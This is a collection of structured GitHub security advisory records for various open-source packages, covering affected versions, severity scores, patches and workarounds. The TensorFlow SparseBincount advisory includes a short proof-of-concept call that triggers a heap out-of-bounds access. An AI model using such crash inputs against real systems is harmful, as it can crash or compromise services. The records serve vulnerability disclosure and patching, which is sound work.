|
{'cwe_ids': ['CWE-352'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-18T21:49:46Z', 'nvd_published_at': '2021-11-19T22:15:00Z'}
|
1.4.0
|
GHSA-hf2m-j98r-4fqw
|
2021-12-01T15:06:58Z
|
2021-11-30T22:21:05Z
| null |
['CVE-2021-43786']
|
API token verification can be bypassed in NodeBB
|
### Impact
Incorrect logic present in the token verification step unintentionally allowed master token access to the API.
### Patches
The vulnerability has been patch as of v1.18.5.
### Workarounds
Cherry-pick commit hash 04dab1d550cdebf4c1567bca9a51f8b9ca48a500 to receive this patch in lieu of a full upgrade.
### For more information
If you have any questions or comments about this advisory:
* Email us at [security@nodebb.org](mailto:security@nodebb.org)
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'npm', 'name': 'nodebb'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.15.0'}, {'fixed': '1.18.5'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/NodeBB/NodeBB/security/advisories/GHSA-hf2m-j98r-4fqw'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-43786'}, {'type': 'WEB', 'url': 'https://github.com/NodeBB/NodeBB/commit/04dab1d550cdebf4c1567bca9a51f8b9ca48a500'}, {'type': 'WEB', 'url': 'https://blog.sonarsource.com/nodebb-remote-code-execution-with-one-shot/'}, {'type': 'PACKAGE', 'url': 'https://github.com/NodeBB/NodeBB'}, {'type': 'WEB', 'url': 'https://github.com/NodeBB/NodeBB/releases/tag/v1.18.5'}]
|
{'cwe_ids': ['CWE-287'], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2021-11-30T14:35:05Z', 'nvd_published_at': '2021-11-29T20:15:00Z'}
|
1.4.0
|
GHSA-p49h-hjvm-jg3h
|
2021-11-03T17:28:10Z
|
2021-11-03T18:05:04Z
| null |
['CVE-2020-5312']
|
PCX P mode buffer overflow in Pillow
|
libImaging/PcxDecode.c in Pillow before 6.2.2 has a PCX P mode buffer overflow.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'Pillow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '6.2.2'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2020-5312'}, {'type': 'WEB', 'url': 'https://github.com/python-pillow/Pillow/commit/93b22b846e0269ee9594ff71a72bec02d2bea8fd'}, {'type': 'WEB', 'url': 'https://access.redhat.com/errata/RHSA-2020:0566'}, {'type': 'WEB', 'url': 'https://access.redhat.com/errata/RHSA-2020:0578'}, {'type': 'WEB', 'url': 'https://access.redhat.com/errata/RHSA-2020:0580'}, {'type': 'WEB', 'url': 'https://access.redhat.com/errata/RHSA-2020:0681'}, {'type': 'WEB', 'url': 'https://access.redhat.com/errata/RHSA-2020:0683'}, {'type': 'WEB', 'url': 'https://access.redhat.com/errata/RHSA-2020:0694'}, {'type': 'WEB', 'url': 'https://github.com/pypa/advisory-db/blob/7872b0a91b4d980f749e6d75a81f8cc1af32829f/vulns/pillow/PYSEC-2020-83.yaml'}, {'type': 'PACKAGE', 'url': 'https://github.com/python-pillow/Pillow'}, {'type': 'WEB', 'url': 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2MMU3WT2X64GS5WHDPKKC2WZA7UIIQ3A/'}, {'type': 'WEB', 'url': 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3DUMIBUYGJRAVJCTFUWBRLVQKOUTVX5P/'}, {'type': 'WEB', 'url': 'https://pillow.readthedocs.io/en/stable/releasenotes/6.2.2.html'}, {'type': 'WEB', 'url': 'https://usn.ubuntu.com/4272-1/'}, {'type': 'WEB', 'url': 'https://www.debian.org/security/2020/dsa-4631'}]
|
{'cwe_ids': ['CWE-120'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-03T17:28:10Z', 'nvd_published_at': '2020-01-03T01:15:00Z'}
|
1.4.0
|
GHSA-2r2v-q399-qq93
|
2021-11-10T19:44:31Z
|
2021-11-10T19:45:02Z
| null |
['CVE-2021-22051']
|
Request injection in Spring Cloud Gateway
|
Applications using Spring Cloud Gateway are vulnerable to specifically crafted requests that could make an extra request on downstream services. Users of affected versions should apply the following mitigation: 3.0.x users should upgrade to 3.0.5+, 2.2.x users should upgrade to 2.2.10.RELEASE or newer.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N'}]
|
[{'package': {'ecosystem': 'Maven', 'name': 'org.springframework.cloud:spring-cloud-gateway'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '3.0.0'}, {'fixed': '3.0.5'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.springframework.cloud:spring-cloud-gateway'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.2.0'}, {'fixed': '2.2.10.RELEASE0.5'}]}], 'database_specific': {'last_known_affected_version_range': '<= 2.2.10.RELEASE'}}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-22051'}, {'type': 'WEB', 'url': 'https://tanzu.vmware.com/security/cve-2021-22051'}]
|
{'cwe_ids': ['CWE-352', 'CWE-863'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-09T21:08:14Z', 'nvd_published_at': '2021-11-08T14:15:00Z'}
|
1.4.0
|
GHSA-f5f7-6478-qm6p
|
2021-11-01T17:26:17Z
|
2021-11-01T17:32:28Z
| null |
['CVE-2021-25741']
|
Files or Directories Accessible to External Parties in kubernetes
|
A security issue was discovered in Kubernetes where a user may be able to create a container with subpath volume mounts to access files & directories outside of the volume, including on the host filesystem.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N'}]
|
[{'package': {'ecosystem': 'Go', 'name': 'k8s.io/kubernetes'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.19.15'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'k8s.io/kubernetes'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.20.0'}, {'fixed': '1.20.11'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'k8s.io/kubernetes'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.21.0'}, {'fixed': '1.21.5'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'k8s.io/kubernetes'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.22.0'}, {'fixed': '1.22.2'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/bottlerocket-os/bottlerocket/security/advisories/GHSA-f5f7-6478-qm6p'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-25741'}, {'type': 'WEB', 'url': 'https://github.com/kubernetes/kubernetes/issues/104980'}, {'type': 'PACKAGE', 'url': 'https://github.com/kubernetes/kubernetes'}, {'type': 'WEB', 'url': 'https://groups.google.com/g/kubernetes-security-announce/c/nyfdhK24H7s'}, {'type': 'WEB', 'url': 'https://security.netapp.com/advisory/ntap-20211008-0006/'}]
|
{'cwe_ids': ['CWE-20', 'CWE-552'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-01T17:26:17Z', 'nvd_published_at': '2021-09-20T17:15:00Z'}
|
1.4.0
|
GHSA-6mcm-j9cj-3vc3
|
2021-11-03T14:49:19Z
|
2021-11-03T17:30:35Z
| null |
['CVE-2021-41973']
|
Infinite loop in Apache MINA
|
In Apache MINA, a specifically crafted, malformed HTTP request may cause the HTTP Header decoder to loop indefinitely. The decoder assumed that the HTTP Header begins at the beginning of the buffer and loops if there is more data than expected. Please update MINA to 2.1.5 or greater.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H'}]
|
[{'package': {'ecosystem': 'Maven', 'name': 'org.apache.mina:mina-core'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.1.0'}, {'fixed': '2.1.5'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.apache.mina:mina-core'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.0.22'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41973'}, {'type': 'WEB', 'url': 'https://lists.apache.org/thread.html/r0b907da9340d5ff4e6c1a4798ef4e79700a668657f27cca8a39e9250%40%3Cdev.mina.apache.org%3E'}, {'type': 'WEB', 'url': 'https://www.oracle.com/security-alerts/cpuapr2022.html'}, {'type': 'WEB', 'url': 'http://www.openwall.com/lists/oss-security/2021/11/01/2'}, {'type': 'WEB', 'url': 'http://www.openwall.com/lists/oss-security/2021/11/01/8'}]
|
{'cwe_ids': ['CWE-835'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-02T19:48:48Z', 'nvd_published_at': '2021-11-01T09:15:00Z'}
|
1.4.0
|
GHSA-m2v2-8227-59f5
|
2021-11-24T19:00:59Z
|
2021-11-23T17:54:39Z
| null |
['CVE-2021-22967']
|
Exposure of sensitive information in concrete5/core
|
In Concrete CMS (formerly concrete 5) below 8.5.7, IDOR Allows Unauthenticated User to Access Restricted Files If Allowed to Add Message to a Conversation.To remediate this, a check was added to verify a user has permissions to view files before attaching the files to a message in "add / edit message”.
|
[]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'concrete5/core'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '8.5.7'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-22967'}, {'type': 'WEB', 'url': 'https://hackerone.com/reports/869612'}, {'type': 'WEB', 'url': 'https://documentation.concretecms.org/developers/introduction/version-history/857-release-notes'}]
|
{'cwe_ids': ['CWE-200', 'CWE-639'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-22T19:40:20Z', 'nvd_published_at': '2021-11-19T19:15:00Z'}
|
1.4.0
|
GHSA-qgmg-gppg-76g5
|
2021-11-03T14:46:00Z
|
2021-11-03T17:34:45Z
| null |
['CVE-2021-3765']
|
Inefficient Regular Expression Complexity in validator.js
|
validator.js prior to 13.7.0 is vulnerable to Inefficient Regular Expression Complexity
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L'}]
|
[{'package': {'ecosystem': 'npm', 'name': 'validator'}, 'ecosystem_specific': {'affected_functions': ['validator.rtrim']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '13.7.0'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-3765'}, {'type': 'WEB', 'url': 'https://github.com/validatorjs/validator.js/commit/496fc8b2a7f5997acaaec33cc44d0b8dba5fb5e1'}, {'type': 'PACKAGE', 'url': 'https://github.com/validatorjs/validator.js'}, {'type': 'WEB', 'url': 'https://huntr.dev/bounties/c37e975c-21a3-4c5f-9b57-04d63b28cfc9'}]
|
{'cwe_ids': ['CWE-1333'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-03T14:46:00Z', 'nvd_published_at': '2021-11-02T07:15:00Z'}
|
1.4.0
|
GHSA-j3jw-j2j8-2wv9
|
2021-11-15T14:43:39Z
|
2021-11-10T20:58:03Z
| null |
['CVE-2021-43569']
|
Improper Verification of Cryptographic Signature in starkbank-ecdsa
|
The verify function in the Stark Bank .NET ECDSA library (ecdsa-dotnet) 1.3.1 fails to check that the signature is non-zero, which allows attackers to forge signatures on arbitrary messages.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'NuGet', 'name': 'starkbank-ecdsa'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.3.2'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-43569'}, {'type': 'PACKAGE', 'url': 'https://github.com/starkbank/ecdsa-dotnet'}, {'type': 'WEB', 'url': 'https://github.com/starkbank/ecdsa-dotnet/releases/tag/v1.3.2'}, {'type': 'WEB', 'url': 'https://research.nccgroup.com/2021/11/08/technical-advisory-arbitrary-signature-forgery-in-stark-bank-ecdsa-libraries/'}]
|
{'cwe_ids': ['CWE-347'], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2021-11-10T18:26:13Z', 'nvd_published_at': '2021-11-09T22:15:00Z'}
|
1.4.0
|
GHSA-374m-jm66-3vj8
|
2021-11-08T21:49:22Z
|
2021-11-10T18:41:47Z
| null |
['CVE-2021-41226']
|
Heap OOB in `SparseBinCount`
|
### Impact
The [implementation](https://github.com/tensorflow/tensorflow/blob/e71b86d47f8bc1816bf54d7bddc4170e47670b97/tensorflow/core/kernels/bincount_op.cc#L353-L417) of `SparseBinCount` is vulnerable to a heap OOB:
```python
import tensorflow as tf
tf.raw_ops.SparseBincount(
indices=[[0],[1],[2]]
values=[0,-10000000]
dense_shape=[1,1]
size=[1]
weights=[3,2,1]
binary_output=False)
```
This is because of missing validation between the elements of the `values` argument and the shape of the sparse output:
```cc
for (int64_t i = 0; i < indices_mat.dimension(0); ++i) {
const int64_t batch = indices_mat(i, 0);
const Tidx bin = values(i);
...
out(batch, bin) = ...;
}
```
### Patches
We have patched the issue in GitHub commit [f410212e373eb2aec4c9e60bf3702eba99a38aba](https://github.com/tensorflow/tensorflow/commit/f410212e373eb2aec4c9e60bf3702eba99a38aba).
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-374m-jm66-3vj8'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41226'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/commit/f410212e373eb2aec4c9e60bf3702eba99a38aba'}, {'type': 'PACKAGE', 'url': 'https://github.com/tensorflow/tensorflow'}]
|
{'cwe_ids': ['CWE-125'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-08T21:49:22Z', 'nvd_published_at': '2021-11-05T21:15:00Z'}
|
1.4.0
|
GHSA-jcjx-c3j3-44pr
|
2021-11-08T21:09:02Z
|
2021-11-10T16:44:12Z
| null |
[]
|
Insufficient Session Expiration in @cyyynthia/tokenize
|
### Impact
A bug introduced in version 1.1.0 made Tokenize generate faulty tokens with NaN as a generation date. As a result, tokens would not properly expire and remain valid regardless of the `lastTokenReset` field.
### Patches
Version 1.1.3 contains a patch that'll invalidate these faulty tokens and make new ones behave as expected.
### Workarounds
None. Tokens do not hold the necessary information to perform invalidation anymore.
### References
PR #1
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [github.com/cyyynthia/tokenize](https://github.com/cyyynthia/tokenize)
* Email us at [cynthia@cynthia.dev](mailto:cynthia@cynthia.dev)
|
[]
|
[{'package': {'ecosystem': 'npm', 'name': '@cyyynthia/tokenize'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.1.0'}, {'fixed': '1.1.3'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/cyyynthia/tokenize/security/advisories/GHSA-jcjx-c3j3-44pr'}, {'type': 'PACKAGE', 'url': 'https://github.com/cyyynthia/tokenize'}]
|
{'cwe_ids': ['CWE-613'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-08T21:09:02Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-pf7h-h2wq-m7pg
|
2022-07-05T22:05:39Z
|
2021-11-21T00:00:58Z
| null |
['CVE-2021-21996']
|
Exposure of Resource to Wrong Sphere in salt
|
An issue was discovered in SaltStack Salt before 3003.3. A user who has control of the source, and source_hash URLs can gain full file system access as root on a salt minion.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'salt'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '3003.3'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-21996'}, {'type': 'ADVISORY', 'url': 'https://github.com/advisories/GHSA-pf7h-h2wq-m7pg'}, {'type': 'WEB', 'url': 'https://github.com/pypa/advisory-database/tree/main/vulns/salt/PYSEC-2021-318.yaml'}, {'type': 'WEB', 'url': 'https://lists.debian.org/debian-lts-announce/2021/11/msg00017.html'}, {'type': 'WEB', 'url': 'https://lists.debian.org/debian-lts-announce/2021/11/msg00019.html'}, {'type': 'WEB', 'url': 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6BUWUF5VTENNP2ZYZBVFKPSUHLKLUBD5/'}, {'type': 'WEB', 'url': 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ACVT7M4YLZRLWWQ6SGRK3C6TOF4FXOXT/'}, {'type': 'WEB', 'url': 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MBAHHSGZLEJRCG4DX6J4RBWJAAWH55RQ/'}, {'type': 'WEB', 'url': 'https://saltproject.io/security_announcements/salt-security-advisory-2021-sep-02/'}, {'type': 'WEB', 'url': 'https://www.debian.org/security/2021/dsa-5011'}]
|
{'cwe_ids': ['CWE-668'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2022-07-05T22:05:39Z', 'nvd_published_at': '2021-09-08T15:15:00Z'}
|
1.4.0
|
GHSA-vfrc-ggmc-5jwv
|
2021-11-24T19:43:03Z
|
2021-11-23T17:55:46Z
| null |
['CVE-2021-3950']
|
Cross-site Scripting in django-helpdesk
|
django-helpdesk is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'django-helpdesk'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.3.2'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-3950'}, {'type': 'WEB', 'url': 'https://github.com/django-helpdesk/django-helpdesk/commit/04483bdac3b5196737516398b5ce0383875a5c60'}, {'type': 'PACKAGE', 'url': 'https://github.com/django-helpdesk/django-helpdesk'}, {'type': 'WEB', 'url': 'https://github.com/django-helpdesk/django-helpdesk/releases/tag/0.3.2'}, {'type': 'WEB', 'url': 'https://huntr.dev/bounties/4d7a5fdd-b2de-467a-ade0-3f2fb386638e'}]
|
{'cwe_ids': ['CWE-79'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-22T19:39:08Z', 'nvd_published_at': '2021-11-19T12:15:00Z'}
|
1.4.0
|
GHSA-qm7x-rc44-rrqw
|
2021-11-04T19:46:00Z
|
2021-11-08T18:07:42Z
| null |
[]
|
Cross-site Scripting Vulnerability in GraphQL Playground (distributed by Apollo Server)
|
### Impact
In certain configurations, Apollo Server serves the client-side web app "GraphQL Playground" from the same web server that executes GraphQL operations. This web app has access to cookies and other credentials associated with the web server's operations. There is a cross-site scripting vulnerability in GraphQL Playground that allows for arbitrary JavaScript code execution in your web server's origin. If a user clicks a specially crafted link to your GraphQL Playground page served by Apollo Server, an attacker can steal cookies and other private browser data.
Details of the underlying GraphQL Playground vulnerability are available in [this `graphql-playground` advisory](https://github.com/graphql/graphql-playground/security/advisories/GHSA-59r9-6jp6-jcm7). (A [similar vulnerability](https://github.com/graphql/graphiql/security/advisories/GHSA-x4r7-m2q9-69c8) exists in the related `graphiql` project.) This advisory focuses on identifying whether *Apollo Server* installations are vulnerable and mitigating the vulnerability in Apollo Server; see the other advisories for details on the XSS vulnerability itself.
The impact of this vulnerability is more severe if (as is common) your GraphQL server's origin URL is an origin that is used to store sensitive data such as cookies.
In order for this vulnerability to affect your Apollo Server installation, it must actually serve GraphQL Playground. The integration between Apollo Server and GraphQL Playground is different in Apollo Server 2 and Apollo Server 3. You can tell which version of Apollo Server you are running by looking at the version of the [package from which you import the `ApolloServer` class](https://www.apollographql.com/docs/apollo-server/integrations/middleware/): this may be `apollo-server`, `apollo-server-express`, `apollo-server-lambda`, etc.
#### Apollo Server 3
Apollo Server 3 does not serve GraphQL Playground by default. It has a [landing page plugin system](https://www.apollographql.com/docs/apollo-server/api/plugin/landing-pages/) and the default plugin is a simple splash page that is not vulnerable to this exploit, linking to Apollo Sandbox Explorer. (We chose to change the default because GraphQL Playground is not actively maintained.)
If you are running Apollo Server 3, then you are *only* vulnerable if you *explicitly* import the [`ApolloServerPluginLandingPageGraphQLPlayground`](https://www.apollographql.com/docs/apollo-server/api/plugin/landing-pages/#graphql-playground-landing-page) plugin and pass it to your `ApolloServer`'s constructor in the `plugins` array. Otherwise, this advisory does not apply to your server.
#### Apollo Server 2
Apollo Server 2 serves GraphQL Playground by default, unless the `NODE_ENV` environment variable is set to `production`, or if you explicitly configure it via the `playground` option to the `ApolloServer` constructor.
Your Apollo Server 2 installation is vulnerable if *any* of the following is true:
- You pass `playground: true` to the `ApolloServer` constructor
- You pass some other object like `playground: {title: "Title"}` to the `ApolloServer` constructor
- You do *not* pass any `playground` option to the `ApolloServer` constructor, *and* the `NODE_ENV` environment variable is *not* set to `production`
#### Apollo Server 1
Apollo Server 1 included `graphiql` instead of `graphql-playground`. `graphiql` isn't automatically enabled in Apollo Server 1: you have to explicitly call a function such as `graphiqlExpress` to enable it. Because Apollo Server 1 is not commonly used, we have not done a detailed examination of whether the integration between Apollo Server 1 and `graphiql` is vulnerable to a similar exploit. If you are still using Apollo Server 1, we recommend you disable `graphiql` by removing the `graphiqlExpress` call, and then upgrade to a newer version of Apollo Server.
### Patches and workarounds
There are several approaches you can take to ensure that your server is not vulnerable to this issue.
#### Upgrade Apollo Server
The vulnerability has been patched in Apollo Server 2.25.3 and Apollo Server 3.4.1. To get the patch, upgrade your [Apollo Server entry point package](https://www.apollographql.com/docs/apollo-server/integrations/middleware/) to one of the fixed versions; this package may be `apollo-server`, `apollo-server-express`, `apollo-server-lambda`, etc. Additionally, if you depend directly on `apollo-server-core` in your `package.json`, make sure that you upgrade it to the same version.
#### Upgrade Playground version only
If upgrading to the latest version of Apollo Server 2 or 3 quickly will be challenging, you can configure your current version of Apollo Server to serve the latest version of the GraphQL Playground app. This will pin your app to serve a specific version of GraphQL Playground and you will not receive updates to it when you upgrade Apollo Server later, but this may be acceptable because GraphQL Playground is not actively maintained.
The way to do this depends on what version of Apollo Server you're using and if you're already configuring GraphQL Playground.
- **Apollo Server 3**: If you are using Apollo Server 3, then you are only vulnerable if your serve explicitly calls [`ApolloServerPluginLandingPageGraphQLPlayground`](https://www.apollographql.com/docs/apollo-server/api/plugin/landing-pages/#graphql-playground-landing-page) and passes it to the Apollo Server constructor in the `plugins` array. Add the option `version: '1.7.42'` to this call, so it looks like:
```
plugins: [ApolloServerPluginLandingPageGraphQLPlayground({version: '1.7.42'})]
```
- **Apollo Server 2 with no explicit `playground` option**: If you are using Apollo Server 2 and do not currently pass the `playground` option to `new ApolloServer`, add a `playground` option like so:
```
new ApolloServer({ playground: process.env.NODE_ENV === 'production' ? false : { version: '1.7.42' } })
```
- **Apollo Server 2 with `playground: true` or `playground: {x, y, z}`**: If you are using Apollo Server 2 and currently pass `true` or an object to `new ApolloServer`, pass the `version` option under the `playground` option like so:
```
new ApolloServer({ playground: { version: '1.7.42', x, y, z } })
```
#### Disable GraphQL Playground
If upgrading Apollo Server or GraphQL Playground is challenging, you can also disable GraphQL Playground.
In Apollo Server 3, remove the call to `ApolloServerPluginLandingPageGraphQLPlayground` from your `ApolloServer` constructor's `plugins` array. This will replace GraphQL Playground with a simple splash page. See [the landing page plugins docs](https://www.apollographql.com/docs/apollo-server/api/plugin/landing-pages/) for details.
In Apollo Server 2, add `playground: false` to your `ApolloServer` constructor: `new ApolloServer({ playground: false })`. This will replace GraphQL Playground with an attempt to execute a GraphQL operation, which will likely display an error in the browser.
If you disable GraphQL Playground, any users who rely on it to execute GraphQL operations will need an alternative, such as the [Apollo Studio Explorer's account-free Sandbox](https://www.apollographql.com/docs/studio/explorer/#account-free-sandbox).
### Credit
This vulnerability was discovered by @Ry0taK. Thank you!
The fix to GraphQL Playground was developed by @acao and @glasser with help from @imolorhe, @divyenduz, and @benjie.
### For more information
If you have any questions or comments about this advisory:
* Read the [`graphql-playground` advisory](https://github.com/graphql/graphql-playground/security/advisories/GHSA-59r9-6jp6-jcm7)
* Open an issue in [the `apollo-server` repo](https://github.com/apollographql/apollo-server/)
* If the issue involves confidential information, email us at [security@apollographql.com](mailto:security@apollographql.com)
|
[]
|
[{'package': {'ecosystem': 'npm', 'name': 'apollo-server'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.0.0'}, {'fixed': '2.25.3'}]}]}, {'package': {'ecosystem': 'npm', 'name': 'apollo-server'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '3.0.0'}, {'fixed': '3.4.1'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/apollographql/apollo-server/security/advisories/GHSA-qm7x-rc44-rrqw'}, {'type': 'PACKAGE', 'url': 'https://github.com/apollographql/apollo-server'}]
|
{'cwe_ids': ['CWE-79'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-04T19:46:00Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-5629-8855-gf4g
|
2021-11-17T21:07:30Z
|
2021-11-18T20:12:40Z
| null |
[]
|
Authentication Bypass by CSRF Weakness
|
### Impact
The actual vulnerability has been discovered on `solidus_auth_devise`. See [GHSA-xm34-v85h-9pg2](https://github.com/solidusio/solidus_auth_devise/security/advisories/GHSA-xm34-v85h-9pg2) for details.
The security advisory here exists to provide an extra layer of security in the form of a monkey patch for users who don't update `solidus_auth_devise`. For this reason, it has been marked as low impact on this end.
### Patches
For extra security, update `solidus_core` to versions `3.1.3`, `3.0.3` or `2.11.12`.
### Workarounds
Look at the workarounds described at [GHSA-xm34-v85h-9pg2](https://github.com/solidusio/solidus_auth_devise/security/advisories/GHSA-xm34-v85h-9pg2).
### References
- [GHSA-xm34-v85h-9pg2](https://github.com/solidusio/solidus_auth_devise/security/advisories/GHSA-xm34-v85h-9pg2).
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [solidus_auth_devise](https://github.com/solidusio/solidus_auth_devise/issues) or a discussion in [solidus](https://github.com/solidusio/solidus/discussions)
* Email us at [security@solidus.io](mailto:security@soliidus.io)
